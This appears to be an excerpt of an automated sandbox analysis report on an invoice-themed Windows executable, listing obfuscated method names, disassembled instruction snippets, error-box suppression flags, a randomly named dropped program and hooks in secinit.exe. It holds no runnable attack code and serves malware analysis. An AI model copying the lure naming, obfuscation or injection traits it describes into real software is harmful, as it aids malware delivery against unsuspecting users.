Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00414086 push esi; ret	3_2_00414095
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00417939 push FFFFFFD7h; retf	3_2_0041793E
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0040DA26 push es; iretd	3_2_0040DA2E
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00418AD8 pushad ; iretd	3_2_00418ADF
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0041940F push edx; ret	3_2_00419411
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00419416 push edi; retf	3_2_00419417
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_004075C0 push esi; retf	3_2_004075C8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0040AD9E push ebp; retf	3_2_0040AD9F
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0040D5AD push 43AEBFE9h; ret	3_2_0040D5B9
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00418654 push ds; ret	3_2_00418656
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00403660 push eax; ret	3_2_00403662
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00401669 push eax; retf	3_2_0040166A
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0040760B push ebx; iretd	3_2_0040760D
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0041D612 pushfd ; ret	3_2_0041D620
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00414EC6 push esp; ret	3_2_00414EC7
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00401FEE pushad ; retf	3_2_00401FEF
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0160225F pushad ; ret	3_2_016027F9
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016027FA pushad ; ret	3_2_016027F9
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016309AD push ecx; mov dword ptr [esp], ecx	3_2_016309B6
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0160283D push eax; iretd	3_2_01602858
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01601328 push eax; iretd	3_2_01601369
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FB7DB7 push esi; ret	5_2_04FB7DC6
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FC2D34 pushfd ; iretd	5_2_04FC2D4C
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FBB66A push FFFFFFD7h; retf	5_2_04FBB66F
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FB1757 push es; iretd	5_2_04FB175F
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FBC809 pushad ; iretd	5_2_04FBC810
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FBD140 push edx; ret	5_2_04FBD142
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FBD147 push edi; retf	5_2_04FBD148
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FAB2F1 push esi; retf	5_2_04FAB2F9

Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, HRRyNLWP3aCReQ34uIv.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mQCZ9TRMtM', 'NtnZGrTLNk', 'diQZMWDybW', 'eayZVRvoy9', 'JSGZj6ll1u', 'WUnZnY0KY5', 'QcZZm7IwWc'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, YudlFeIlxJFsmZRCjZ.cs	High entropy of concatenated method names: 'sSRRV5JD0J', 'GDTRj4TWu7', 'TriRntCfGT', 'H5WRm3GqQL', 'SL9RFuUAK4', 'lMORQXvrt4', 'AfKRLay188', 'll9ROSSyjx', 'kmmR53lNfx', 'iedRq0TnZj'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, zUdOj2YCX8SVbVqi5j.cs	High entropy of concatenated method names: 'ro6kTTBg4h', 'C1KkoRtHCt', 'Td9kftfJxN', 'NUYkbXtVSy', 'OjJkpopJx8', 'sdkkyubeJa', 'qyBk0J7DNC', 'VlWkIiqlPL', 'w38kaiFMFR', 'FIqkSi2NSA'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, gX0RypnLwsmDbqthTf.cs	High entropy of concatenated method names: 'ToString', 'DrSK9NAo3q', 'ufvKUQm8Pm', 'ExTK14ADWW', 'JviKrpjcYv', 'PHLKC3HVV8', 'UB0Kif8WXu', 'fVtK3Jxfgq', 'rIoKEcUGGh', 'RXbKYig7AH'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, C6biJfSm4Srs3LV1MC.cs	High entropy of concatenated method names: 'esthpy5d4G', 'OkZh0GTHKt', 'GSEX10Cq9p', 'KVXXrI9p2Q', 'BS6XCC6TEY', 'g8kXiRnUYy', 'XnRX3Za7mO', 'g5bXE4yyLT', 'DDsXYDAWoD', 'pMkX2C72ov'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, aXR38bWBo0XaIiEmX5D.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Om2xvGX5Up', 'Ol6xZVdvrS', 'nlmxgMW2YE', 'Vkpxxb7feD', 'IkFx4apv2Z', 'HYjxuJoh8L', 'Vi3xA4Lmjl'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, JF6ugEDBOHDgiaJMAa.cs	High entropy of concatenated method names: 'Iwef4FhDu', 'qwhbvTvIv', 'sqxylHgKU', 'QLu0V5lA7', 'Fa2aFCBoq', 'cAhSFddOc', 'e91DE6EfnT4EWybjMB', 'sri9f75abKEcGNrMRf', 'dZ0NsxXDv', 'U5aZXKOI4'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, VAmO9CMD1lR5QC0SBA.cs	High entropy of concatenated method names: 'QRAeITsrJ7', 'iqmeaoKOMR', 'IL0esM45B1', 'xGieUG3oPI', 'FnQerAgbU4', 'wBteCeY9oO', 'GOMe3aCFBk', 'cG6eEISJgA', 'bK0e2QkLU2', 'e2we9fbgnU'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	High entropy of concatenated method names: 'RuL6tIwLeC', 'RWk68N7EYP', 'LYq6R53mip', 'oHm6XECYMf', 'HS76hPrBjY', 'qNy6dqBpHj', 'vbo6kj73Kn', 'IRT6lWRtcK', 'uO16Ju1ZtE', 'JwJ6cFT3Co'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, e9Mmg0Rv3K7xsmI8Ef.cs	High entropy of concatenated method names: 'Dispose', 'IbIW52D9o2', 'm9gDUCA7c0', 'qrcw5iopLD', 'zdAWqrIFQA', 'aLlWzHxCiM', 'ProcessDialogKey', 'yvCDPgXPdw', 'qZ9DW7ZXpI', 'feGDDCbc9j'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, Pd2ViPVyZ3J54hx0jb.cs	High entropy of concatenated method names: 'Pr8H2Up5ru', 'IQ0HGmTBEq', 'T5yHVh8Q8n', 'QGPHjehVMV', 'iKYHUJFRri', 'jwQH12Kpv1', 'XQAHrmbBbk', 'K3IHCq2KYN', 'MpfHigkbcT', 'YRPH3h1xBB'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, qClTUcspryY0Ri1c5R.cs	High entropy of concatenated method names: 'yP2dt0EeDT', 'OTJdR2KHhS', 'PxLdh9s5fM', 'jp5dkFZOIF', 'naLdlA3V1u', 'YZ7hF7tfxf', 'jmihQTyFtJ', 'abuhLQAZRC', 'YcwhORSKy5', 'xk4h5xTNOu'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, rwmJGXzFsbk0hl9Alh.cs	High entropy of concatenated method names: 'aswZyHMeTe', 'ctQZI6Joej', 'Pi7ZanZFbs', 'FEcZssRcEZ', 'v9SZU0HNB1', 'FbcZrtG1Vs', 'xM6ZCtRV5b', 'eplZA8SsQu', 'BUDZTL12yi', 'CVuZoacApf'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, TxhjfXXN2aKpUAvPay.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'zSjD5TmgHP', 'DA2DqbKGAh', 'fXoDzvFaMI', 'ira6PSVsqZ', 'UZs6WMnbHk', 'KsC6DXxn5g', 'fqc66qJPxn', 'SZPK1mRVHsOZSChoLTX'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, SHwLbNLjmrbI2D9o2f.cs	High entropy of concatenated method names: 'yW3vHElI2T', 'lWHvwUpx7D', 'z2mvvKoOWZ', 'NDavgt7BGp', 'mEfv4Y4eG8', 'zKnvADCygH', 'Dispose', 's6qN80cWrQ', 'wB4NRxvTNk', 'LtUNXtSPeA'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, B7MvwYmotUeZI0KC6v.cs	High entropy of concatenated method names: 'QBMwcfDplp', 'as7w7W7sAR', 'ToString', 'NIGw8wHam4', 'LcxwRrXYsn', 'vWjwX2A4qb', 'hkOwhpC0KO', 'uxcwdHdj4k', 'Eocwkh3x0h', 'HFmwllJU6U'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, SndfNPWWcIjGQ5cov4N.cs	High entropy of concatenated method names: 'suEZqN9WfG', 'rMDZzucpoY', 'IyngPXMpkd', 'Lt6gWDCjFu', 'JnogDQwoSx', 'qdHg6TwxkK', 'gb8gBGNQup', 'yrvgtcfAri', 'SGeg8TreWF', 'RmcgRjAdnx'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, nKNMlv3TvFbq76vphQ.cs	High entropy of concatenated method names: 'Ksck8GJ65Z', 'gyskXFEExd', 'fHwkdbTicL', 'tUWdqrnB3A', 'LCydz6aeQC', 'plYkPiMfHD', 'e8vkWsyh9H', 'ITdkDs47Gr', 'HINk6dEoKZ', 'YRKkB0OLH2'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, aCx5lcaTP33rxRCNCR.cs	High entropy of concatenated method names: 'OB2Xb18NJK', 'QhIXyup3Sn', 'tFRXIPy3jH', 'HtmXaYPJq9', 'dL4XH8YUmK', 'FAjXKkn04c', 'DUWXwlcoxj', 'muEXNlFRj9', 'sAUXv9XrJe', 'JnjXZSU2kP'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, Jbc9jGqqCXZJTkKi4x.cs	High entropy of concatenated method names: 'obRZXq5tK3', 'IjQZhVRR4t', 'g7xZdWjns2', 'TcSZkXS3Sr', 'lTCZvMRqC0', 'ndMZlxkES9', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, mh9HEsBx1KT4UfExJq.cs	High entropy of concatenated method names: 'MMqWkudlFe', 'kxJWlFsmZR', 'mTPWc33rxR', 'JNCW7Ry6bi', 'WV1WHMCwCl', 'xUcWKpryY0', 'XOrxN54ynAib0qyAGA', 'ToVLRouRoV7MECmtNC', 'pm6WWQF6yM', 'tPeW6Ky2oZ'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, h1kPvLQgbMKecy8pru.cs	High entropy of concatenated method names: 'AJ1wOIe50f', 'itSwqbd7dU', 'U2PNPiVMdD', 'yTlNWHiF9I', 'f0Pw945GVs', 'dnPwGpeSB9', 'uWmwMBoSI5', 'wyVwVobRSs', 'wskwjbkp7y', 'l5cwnbBGeg'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, JgXPdw5wZ97ZXpI8eG.cs	High entropy of concatenated method names: 'YFxvsBZnLf', 'UM2vUb1ujG', 'guWv130pwd', 'vFrvrsS21A', 'QfQvCdBbhC', 'Fnhvi0nxIV', 'Fxbv3fBgUm', 'mwpvExEaOq', 'eV9vYTRbU8', 'KdOv2HaOu6'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, HRRyNLWP3aCReQ34uIv.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mQCZ9TRMtM', 'NtnZGrTLNk', 'diQZMWDybW', 'eayZVRvoy9', 'JSGZj6ll1u', 'WUnZnY0KY5', 'QcZZm7IwWc'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, YudlFeIlxJFsmZRCjZ.cs	High entropy of concatenated method names: 'sSRRV5JD0J', 'GDTRj4TWu7', 'TriRntCfGT', 'H5WRm3GqQL', 'SL9RFuUAK4', 'lMORQXvrt4', 'AfKRLay188', 'll9ROSSyjx', 'kmmR53lNfx', 'iedRq0TnZj'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, zUdOj2YCX8SVbVqi5j.cs	High entropy of concatenated method names: 'ro6kTTBg4h', 'C1KkoRtHCt', 'Td9kftfJxN', 'NUYkbXtVSy', 'OjJkpopJx8', 'sdkkyubeJa', 'qyBk0J7DNC', 'VlWkIiqlPL', 'w38kaiFMFR', 'FIqkSi2NSA'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, gX0RypnLwsmDbqthTf.cs	High entropy of concatenated method names: 'ToString', 'DrSK9NAo3q', 'ufvKUQm8Pm', 'ExTK14ADWW', 'JviKrpjcYv', 'PHLKC3HVV8', 'UB0Kif8WXu', 'fVtK3Jxfgq', 'rIoKEcUGGh', 'RXbKYig7AH'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, C6biJfSm4Srs3LV1MC.cs	High entropy of concatenated method names: 'esthpy5d4G', 'OkZh0GTHKt', 'GSEX10Cq9p', 'KVXXrI9p2Q', 'BS6XCC6TEY', 'g8kXiRnUYy', 'XnRX3Za7mO', 'g5bXE4yyLT', 'DDsXYDAWoD', 'pMkX2C72ov'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, aXR38bWBo0XaIiEmX5D.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Om2xvGX5Up', 'Ol6xZVdvrS', 'nlmxgMW2YE', 'Vkpxxb7feD', 'IkFx4apv2Z', 'HYjxuJoh8L', 'Vi3xA4Lmjl'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, JF6ugEDBOHDgiaJMAa.cs	High entropy of concatenated method names: 'Iwef4FhDu', 'qwhbvTvIv', 'sqxylHgKU', 'QLu0V5lA7', 'Fa2aFCBoq', 'cAhSFddOc', 'e91DE6EfnT4EWybjMB', 'sri9f75abKEcGNrMRf', 'dZ0NsxXDv', 'U5aZXKOI4'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, VAmO9CMD1lR5QC0SBA.cs	High entropy of concatenated method names: 'QRAeITsrJ7', 'iqmeaoKOMR', 'IL0esM45B1', 'xGieUG3oPI', 'FnQerAgbU4', 'wBteCeY9oO', 'GOMe3aCFBk', 'cG6eEISJgA', 'bK0e2QkLU2', 'e2we9fbgnU'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	High entropy of concatenated method names: 'RuL6tIwLeC', 'RWk68N7EYP', 'LYq6R53mip', 'oHm6XECYMf', 'HS76hPrBjY', 'qNy6dqBpHj', 'vbo6kj73Kn', 'IRT6lWRtcK', 'uO16Ju1ZtE', 'JwJ6cFT3Co'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, e9Mmg0Rv3K7xsmI8Ef.cs	High entropy of concatenated method names: 'Dispose', 'IbIW52D9o2', 'm9gDUCA7c0', 'qrcw5iopLD', 'zdAWqrIFQA', 'aLlWzHxCiM', 'ProcessDialogKey', 'yvCDPgXPdw', 'qZ9DW7ZXpI', 'feGDDCbc9j'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, Pd2ViPVyZ3J54hx0jb.cs	High entropy of concatenated method names: 'Pr8H2Up5ru', 'IQ0HGmTBEq', 'T5yHVh8Q8n', 'QGPHjehVMV', 'iKYHUJFRri', 'jwQH12Kpv1', 'XQAHrmbBbk', 'K3IHCq2KYN', 'MpfHigkbcT', 'YRPH3h1xBB'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, qClTUcspryY0Ri1c5R.cs	High entropy of concatenated method names: 'yP2dt0EeDT', 'OTJdR2KHhS', 'PxLdh9s5fM', 'jp5dkFZOIF', 'naLdlA3V1u', 'YZ7hF7tfxf', 'jmihQTyFtJ', 'abuhLQAZRC', 'YcwhORSKy5', 'xk4h5xTNOu'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, rwmJGXzFsbk0hl9Alh.cs	High entropy of concatenated method names: 'aswZyHMeTe', 'ctQZI6Joej', 'Pi7ZanZFbs', 'FEcZssRcEZ', 'v9SZU0HNB1', 'FbcZrtG1Vs', 'xM6ZCtRV5b', 'eplZA8SsQu', 'BUDZTL12yi', 'CVuZoacApf'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, TxhjfXXN2aKpUAvPay.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'zSjD5TmgHP', 'DA2DqbKGAh', 'fXoDzvFaMI', 'ira6PSVsqZ', 'UZs6WMnbHk', 'KsC6DXxn5g', 'fqc66qJPxn', 'SZPK1mRVHsOZSChoLTX'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, SHwLbNLjmrbI2D9o2f.cs	High entropy of concatenated method names: 'yW3vHElI2T', 'lWHvwUpx7D', 'z2mvvKoOWZ', 'NDavgt7BGp', 'mEfv4Y4eG8', 'zKnvADCygH', 'Dispose', 's6qN80cWrQ', 'wB4NRxvTNk', 'LtUNXtSPeA'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, B7MvwYmotUeZI0KC6v.cs	High entropy of concatenated method names: 'QBMwcfDplp', 'as7w7W7sAR', 'ToString', 'NIGw8wHam4', 'LcxwRrXYsn', 'vWjwX2A4qb', 'hkOwhpC0KO', 'uxcwdHdj4k', 'Eocwkh3x0h', 'HFmwllJU6U'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, SndfNPWWcIjGQ5cov4N.cs	High entropy of concatenated method names: 'suEZqN9WfG', 'rMDZzucpoY', 'IyngPXMpkd', 'Lt6gWDCjFu', 'JnogDQwoSx', 'qdHg6TwxkK', 'gb8gBGNQup', 'yrvgtcfAri', 'SGeg8TreWF', 'RmcgRjAdnx'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, nKNMlv3TvFbq76vphQ.cs	High entropy of concatenated method names: 'Ksck8GJ65Z', 'gyskXFEExd', 'fHwkdbTicL', 'tUWdqrnB3A', 'LCydz6aeQC', 'plYkPiMfHD', 'e8vkWsyh9H', 'ITdkDs47Gr', 'HINk6dEoKZ', 'YRKkB0OLH2'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, aCx5lcaTP33rxRCNCR.cs	High entropy of concatenated method names: 'OB2Xb18NJK', 'QhIXyup3Sn', 'tFRXIPy3jH', 'HtmXaYPJq9', 'dL4XH8YUmK', 'FAjXKkn04c', 'DUWXwlcoxj', 'muEXNlFRj9', 'sAUXv9XrJe', 'JnjXZSU2kP'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, Jbc9jGqqCXZJTkKi4x.cs	High entropy of concatenated method names: 'obRZXq5tK3', 'IjQZhVRR4t', 'g7xZdWjns2', 'TcSZkXS3Sr', 'lTCZvMRqC0', 'ndMZlxkES9', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, mh9HEsBx1KT4UfExJq.cs	High entropy of concatenated method names: 'MMqWkudlFe', 'kxJWlFsmZR', 'mTPWc33rxR', 'JNCW7Ry6bi', 'WV1WHMCwCl', 'xUcWKpryY0', 'XOrxN54ynAib0qyAGA', 'ToVLRouRoV7MECmtNC', 'pm6WWQF6yM', 'tPeW6Ky2oZ'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, h1kPvLQgbMKecy8pru.cs	High entropy of concatenated method names: 'AJ1wOIe50f', 'itSwqbd7dU', 'U2PNPiVMdD', 'yTlNWHiF9I', 'f0Pw945GVs', 'dnPwGpeSB9', 'uWmwMBoSI5', 'wyVwVobRSs', 'wskwjbkp7y', 'l5cwnbBGeg'
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, JgXPdw5wZ97ZXpI8eG.cs	High entropy of concatenated method names: 'YFxvsBZnLf', 'UM2vUb1ujG', 'guWv130pwd', 'vFrvrsS21A', 'QfQvCdBbhC', 'Fnhvi0nxIV', 'Fxbv3fBgUm', 'mwpvExEaOq', 'eV9vYTRbU8', 'KdOv2HaOu6'

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FFBCB7AD324
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FFBCB7AD7E4
